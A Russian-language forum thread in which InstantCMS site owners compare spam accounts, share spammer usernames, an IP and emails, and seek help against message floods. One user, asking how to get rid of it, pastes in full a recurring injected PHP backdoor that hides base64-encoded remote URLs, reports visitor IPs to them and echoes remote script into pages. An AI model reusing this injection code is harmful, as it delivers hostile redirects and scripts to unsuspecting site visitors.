Спамеры на сайтах Instantcms

Новая фишка — спамят форум.
rosfutmargas, ип 89.28.71.14
Туча новых топиков за час.

Пока на одном только сайте, но имеем ввиду

Кстати, похоже он это делает вручную и почта у него на Яндексе.
У меня он сначала в блогах нагадил, а потом на форуме начал создавать темы.

Новая фишка — спамят форум. rosfutmargas, ип 89.28.71.14 Туча новых топиков за час. Пока на одном только сайте, но имеем ввиду

Нагадил в блогах, а на форуме успел оставить только одно сообщение)))

rosfutmargas@yandex.ru даже аватарку добавил
пост на форуме 1 сообщение
В блогах поставил ограничение по карме, блогов пока нет

Подскажите пожалуйста как убрать вот этот код постоянно прописовается в индексе
function collectnewss() {

if (!isset($_COOKIE["iJijkdaMnerys"])) {
$value = 'yadeor';
$ip = $_SERVER['REMOTE_ADDR'];
$get = sql2_safe("aHR0cDovL3h4eHBvcm5vLnh4dXouY29tOjg4OC9tb3ZlLnBocD9pcD0=").$ip;
$file = @fopen ($get, "r");
$content = @fread($file, 1000);
@setcookie("iJijkdaMnerys", $value, time()+3600*24);
if (!$content)
echo sql2_safe("PHNjcmlwdCBzcmM9Imh0dHA6Ly9uZXdkb21tZS5jaGFuZ2VpcC5uYW1lL3JzaXplLmpzIj48L3NjcmlwdD4=");
else
echo $content;

}
}
collectnewss ();
?>
Удалю его он опять появляется.Версия 1.10.1 права выставленны 644

rosfutmargas у меня тоже вчера зарегился

rosfutmargas у меня тоже вчера зарегился

Тоже заметил такого кадра. Форум у меня отключен, а на создание блога — ограничение, так что активности от него нету.

Мне кажется, нужно искать способы борьбы со спамерами, а не выявлять их личности и результаты их деятельности

Ну я написал это к тому, чтобы было понятно, что данная "спам акция" носит массовый характер. А так, тоже активности от него не увидел, так как форум и блоги отключены. И вовремя эту тему заметил, так что сам пользователя забанил. А по поводу искать способы борьбы — если я правильно понимаю — довольно недавно собирали деньги на закрытие уязвимостей движка. Мне кажется нужно программеру, который этим занимался и показать данную ветку. Пусть скажет, какую информацию ему предоставить, чтобы определить каким образом происходит этот автоматический спам (думаю, что он все же автоматический).

довольно недавно собирали деньги на закрытие уязвимостей движка. Мне кажется нужно программеру, который этим занимался и показать данную ветку.

А вот это очень даже правильно, поддерживаю!

Закрытие уязвимостей движка тут не причем.
Постить в блоги или на форуме можно почти везде в автоматическом или полуавтоматическом режиме,
обычно достаточно только вручную зарегистрировать пользователя, а дальше дело программы.
Пробовали это?

mednog, у Вас ктото имеет прямой доступ к этому файлу. Возможно хостинг кривой…

mednog, поздравляю! Ваш случай Устанавливаем антивирь, чистим комп, меняем фтп пароли. И так для всех, кто имеет доступ по фтп. На всякий случай, проверяем хостера(близлежащие сайты).
Ссыль режет. Вот так будет лучше dml.compkaluga.ru/forum/index.php?showtopic=72706. Скопируйте и вставьте в адр. строку.

у меня по сообщениям в личку время от времени вылазит спамер. по 100 писем и больше шлёт пока не удалишь

как ограничить в 1.10.1 количество сообщение которые могут друг другу юзеры слать?

Марат, Спасибо большое.

подскажите кто нибудь решение- не успеваю банить, стоит активация по мылу. каждые часа три выскакивает новая сволочь и начинает по 100-200 писем слать юзерам каждые 3 минуты новое письмо. как ограничить количество личных сообщений в час или в полчаса, нагружают сервер спамом .

стоит 1.10.1

логин и ник: coconina
Почта: con.conina@yandex.ru
В блогах гадит.